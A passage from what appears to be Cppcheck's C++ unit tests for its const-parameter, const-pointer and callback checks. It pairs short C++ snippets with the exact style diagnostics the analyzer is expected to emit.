{};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: 